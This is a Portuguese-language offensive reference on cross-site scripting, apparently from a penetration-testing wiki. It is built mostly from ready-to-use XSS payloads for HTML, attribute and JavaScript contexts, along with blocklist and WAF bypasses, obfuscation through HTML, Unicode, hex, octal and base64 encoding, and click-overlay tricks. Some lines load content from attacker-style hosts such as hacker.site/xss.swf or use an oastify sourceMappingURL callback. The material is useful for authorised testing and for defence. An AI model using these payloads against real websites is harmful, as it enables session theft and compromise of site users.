XSS (Cross Site Scripting)

Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluente em polonês escrito e falado é necessário).

Metodologia

  1. Verifique se qualquer valor que você controla (parâmetros, caminho, cabeçalhos?, cookies?) está sendo refletido no HTML ou usado pelo código JS.

  2. Encontre o contexto onde está refletido/usado.

  3. Se refletido

  4. Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:

  5. Em HTML bruto:

  6. Você pode criar novas tags HTML?

  7. Você pode usar eventos ou atributos que suportam o protocolo javascript:?

  8. Você pode contornar proteções?

  9. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (AngularJS, VueJS, Mavo...), você poderia abusar de uma Injeção de Template do Lado do Cliente.

  10. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma Injeção de Marcação Pendurada - HTML sem script?

  11. Dentro de uma tag HTML:

  12. Você pode sair para o contexto HTML bruto?

  13. Você pode criar novos eventos/atributos para executar código JS?

  14. O atributo onde você está preso suporta execução de JS?

  15. Você pode contornar proteções?

  16. Dentro do código JavaScript:

  17. Você pode escapar da tag <script>?

  18. Você pode escapar da string e executar código JS diferente?

  19. Sua entrada está em literais de template ``?

  20. Você pode contornar proteções?

  21. Função Javascript sendo executada

  22. Você pode indicar o nome da função a ser executada. ex.: ?callback=alert(1)

  23. Se usado:

  24. Você poderia explorar um DOM XSS, preste atenção em como sua entrada é controlada e se sua entrada controlada é usada por algum sink.

Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:

Debugging Client Side JS

Valores refletidos

Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um valor controlado por você que está sendo refletido na página da web.

  • Refletido intermediaramente: Se você descobrir que o valor de um parâmetro ou mesmo o caminho está sendo refletido na página da web, você poderia explorar um XSS Refletido.

  • Armazenado e refletido: Se você descobrir que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um XSS Armazenado.

  • Acessado via JS: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um DOM XSS.

Contextos

Ao tentar explorar um XSS, a primeira coisa que você precisa saber é onde sua entrada está sendo refletida. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.

HTML bruto

Se sua entrada é refletida no HTML bruto da página, você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script ... estas são apenas algumas das muitas possíveis tags HTML que você poderia usar. Além disso, tenha em mente a Injeção de Template do Lado do Cliente.

Dentro do atributo de tags HTML

Se sua entrada é refletida dentro do valor do atributo de uma tag, você poderia tentar:

  1. Escapar do atributo e da tag (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: "><img [...]

  2. Se você pode escapar do atributo, mas não da tag (> está codificado ou excluído), dependendo da tag, você poderia criar um evento que executa código JS: " autofocus onfocus=alert(1) x="

  3. Se você não pode escapar do atributo (" está sendo codificado ou excluído), então dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte, você poderá abusar disso. Por exemplo, se você controla um evento como onclick=, você poderá fazê-lo executar código arbitrário quando for clicado. Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"

  4. Se sua entrada é refletida dentro de "tags não exploráveis", você poderia tentar o truque do accesskey para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): " accesskey="x" onclick="alert(1)" x="

Exemplo estranho de Angular executando XSS se você controla um nome de classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Dentro do código JavaScript

Neste caso, sua entrada é refletida entre as tags <script> [...] </script> de uma página HTML, dentro de um arquivo .js ou dentro de um atributo usando o protocolo javascript::

  • Se refletido entre as tags <script> [...] </script>, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar </script> e escapar desse contexto. Isso funciona porque o navegador primeiro analisará as tags HTML e depois o conteúdo, portanto, não notará que sua tag injetada </script> está dentro do código HTML.

  • Se refletido dentro de uma string JS e o último truque não estiver funcionando, você precisaria sair da string, executar seu código e reconstruir o código JS (se houver algum erro, ele não será executado):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • Se refletido dentro de literais de template, você pode incorporar expressões JS usando a sintaxe ${ ... }: var greetings = `Hello, ${alert(1)}`

  • Codificação Unicode funciona para escrever código javascript válido:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting refere-se à oportunidade de declarar funções, variáveis ou classes após serem usadas, para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas. Verifique a página a seguir para mais informações:

JS Hoisting

Javascript Function

Várias páginas da web têm endpoints que aceitam como parâmetro o nome da função a ser executada. Um exemplo comum de se ver na prática é algo como: ?callback=callbackFunc.

Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é modificando o valor do parâmetro (por exemplo, para 'Vulnerable') e procurando no console por erros como:

Caso seja vulnerável, você poderá disparar um alerta apenas enviando o valor: ?callback=alert(1). No entanto, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e sublinhados ([\w\._]).

No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:

Algumas funções úteis para isso:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Você também pode tentar disparar funções Javascript diretamente: obj.sales.delOrders.

No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, outras páginas na mesma origem terão um DOM mais interessante para realizar mais ações.

Portanto, para abusar dessa vulnerabilidade em um DOM diferente, a exploração de Same Origin Method Execution (SOME) foi desenvolvida:

SOME - Same Origin Method Execution

DOM

código JS que está usando inseguramente alguns dados controlados por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.

DOM XSS

Universal XSS

Esses tipos de XSS podem ser encontrados em qualquer lugar. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de qualquer contexto. Esses tipos de execução arbitrária de JavaScript podem até ser abusados para obter RCE, ler arquivos arbitrários em clientes e servidores, e mais. Alguns exemplos:

Server Side XSS (Dynamic PDF)Electron Desktop Apps

Bypass de WAF codificando imagem

Injetando dentro do HTML bruto

Quando sua entrada é refletida dentro da página HTML ou você pode escapar e injetar código HTML nesse contexto, a primeira coisa que você precisa fazer é verificar se pode abusar de < para criar novas tags: Basta tentar refletir esse caractere e verificar se está sendo codificado em HTML ou deletado ou se está refletido sem alterações. Somente no último caso você poderá explorar esse caso. Para esses casos, também tenha em mente Client Side Template Injection. Nota: Um comentário HTML pode ser fechado usando******** --> ou ****--!>

Nesse caso, e se nenhuma lista negra/branca for usada, você poderia usar payloads como:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Mas, se a lista negra/branca de tags/atributos estiver sendo usada, você precisará forçar quais tags você pode criar. Uma vez que você tenha localizado quais tags são permitidas, você precisará forçar atributos/eventos dentro das tags válidas encontradas para ver como você pode atacar o contexto.

Força bruta de Tags/Eventos

Vá para https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clique em Copiar tags para a área de transferência. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode forçar todos os eventos usando as tags válidas (na mesma página da web, clique em Copiar eventos para a área de transferência e siga o mesmo procedimento de antes).

Tags personalizadas

Se você não encontrou nenhuma tag HTML válida, você pode tentar criar uma tag personalizada e executar código JS com o atributo onfocus. Na solicitação XSS, você precisa terminar a URL com # para fazer a página focar naquele objeto e executar o código:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques bobos:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass de comprimento (pequenos XSS)

Mais pequenos XSS para diferentes ambientes payload pode ser encontrado aqui e aqui.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr Mais desses caracteres podem ser encontrados aqui. Para verificar em quais caracteres estão decompostos, verifique aqui.

Click XSS - Clickjacking

Se para explorar a vulnerabilidade você precisar que o usuário clique em um link ou em um formulário com dados pré-preenchidos, você pode tentar abusar do Clickjacking (se a página for vulnerável).

Impossible - Dangling Markup

Se você apenas pensa que é impossível criar uma tag HTML com um atributo para executar código JS, você deve verificar Dangling Markup porque você poderia explorar a vulnerabilidade sem executar código JS.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Se você está dentro de uma tag HTML, a primeira coisa que você poderia tentar é escapar da tag e usar algumas das técnicas mencionadas na seção anterior para executar código JS. Se você não puder escapar da tag, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventos de estilo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dentro do atributo

Mesmo que você não consiga escapar do atributo (" está sendo codificado ou deletado), dependendo de qual atributo seu valor está sendo refletido se você controla todo o valor ou apenas uma parte você poderá abusar disso. Por exemplo, se você controla um evento como onclick= você poderá fazer com que ele execute código arbitrário quando for clicado. Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"

Bypass dentro do evento usando codificação HTML/codificação URL

Os caracteres codificados em HTML dentro do valor dos atributos das tags HTML são decodificados em tempo de execução. Portanto, algo como o seguinte será válido (a carga útil está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Voltar </a>

Note que qualquer tipo de codificação HTML é válido:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Observe que a codificação de URL também funcionará:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass dentro do evento usando codificação Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolos Especiais Dentro do atributo

Lá você pode usar os protocolos javascript: ou data: em alguns lugares para executar código JS arbitrário. Alguns exigirão interação do usuário e outros não.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Lugares onde você pode injetar esses protocolos

Em geral, o protocolo javascript: pode ser usado em qualquer tag que aceite o atributo href e na maioria das tags que aceitam o atributo src (mas não <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Outras truques de ofuscação

Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Além disso, há outro truque legal para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada. Portanto, se você precisar sair da string usando uma aspa simples e você perceber que está sendo codificada em URL, lembre-se de que não importa, ela será interpretada como uma aspa simples durante o tempo de execução.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Note que se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload, isso não funcionará, mas você pode misturá-los dentro do payload.

Usando codificação Hex e Octal com javascript:

Você pode usar Hex e Octal encode dentro do atributo src de iframe (pelo menos) para declarar tags HTML para executar JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Se você puder injetar qualquer URL em uma tag <a href= arbitrária que contenha os atributos target="_blank" e rel="opener", verifique a página a seguir para explorar esse comportamento:

Reverse Tab Nabbing

sobre Bypass de Manipuladores de Evento

Primeiro, verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para manipuladores de evento "on" úteis. Caso haja alguma lista negra impedindo você de criar esses manipuladores de evento, você pode tentar os seguintes bypasses:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

De aqui agora é possível abusar de inputs ocultos com:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

E em meta tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

De aqui: Você pode executar um payload XSS dentro de um atributo oculto, desde que consiga persuadir a vítima a pressionar a combinação de teclas. No Firefox Windows/Linux, a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:

<input type="hidden" accesskey="X" onclick="alert(1)">

A carga útil de XSS será algo como isto: " accesskey="x" onclick="alert(1)" x="

Bypasses de Blacklist

Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:

  • Codificação HTML (tags HTML)

  • Codificação Unicode (pode ser código JS válido): \u0061lert(1)

  • Codificação URL

  • Codificação Hex e Octal

  • Codificação de dados

Bypasses para tags e atributos HTML

Leia os Bypasses de Blacklist da seção anterior.

Bypasses para código JavaScript

Leia a blacklist de bypass de JavaScript da seção seguinte.

CSS-Gadgets

Se você encontrou um XSS em uma parte muito pequena da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar modificar o espaço que esse elemento ocupa para maximizar as probabilidades de ativar o link.

Por exemplo, você poderia adicionar algum estilo no elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Agora você pode modificar nosso link e trazê-lo para a forma

<a href="" id=someid class=test onclick=alert() a="">

Esse truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injetando dentro do código JavaScript

Nestes casos, sua entrada vai ser refletida dentro do código JS de um arquivo .js ou entre as tags <script>...</script> ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo javascript:.

Escapando a tag <script>

Se seu código for inserido dentro de <script> [...] var input = 'dados refletidos' [...] </script> você poderia facilmente escapar fechando a tag <script>:

</script><img src=1 onerror=alert(document.domain)>

Note que neste exemplo não fechamos nem mesmo a aspa simples. Isso ocorre porque a análise HTML é realizada primeiro pelo navegador, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts incorporados é realizada apenas depois.

Dentro do código JS

Se <> estiverem sendo sanitizados, você ainda pode escapar a string onde sua entrada está localizada e executar JS arbitrário. É importante corrigir a sintaxe do JS, porque se houver erros, o código JS não será executado:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Para construir strings além de aspas simples e duplas, o JS também aceita backticks ``. Isso é conhecido como template literals, pois permite expressões JS embutidas usando a sintaxe ${ ... }. Portanto, se você descobrir que sua entrada está sendo refletida dentro de uma string JS que está usando backticks, você pode abusar da sintaxe ${ ... } para executar código JS arbitrário:

Isso pode ser abusado usando:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Execução de código codificado

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Execução de JS com Codificação Unicode

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Técnicas de bypass de listas negras em JavaScript

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escapes especiais

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Substituições de espaço dentro do código JS

<TAB>
/**/

Comentários JavaScript (do truque de Comentários JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Quebras de linha em JavaScript (do truque de quebra de linha em JavaScript )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Espaços em branco do JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dentro de um comentário

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sem parênteses

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`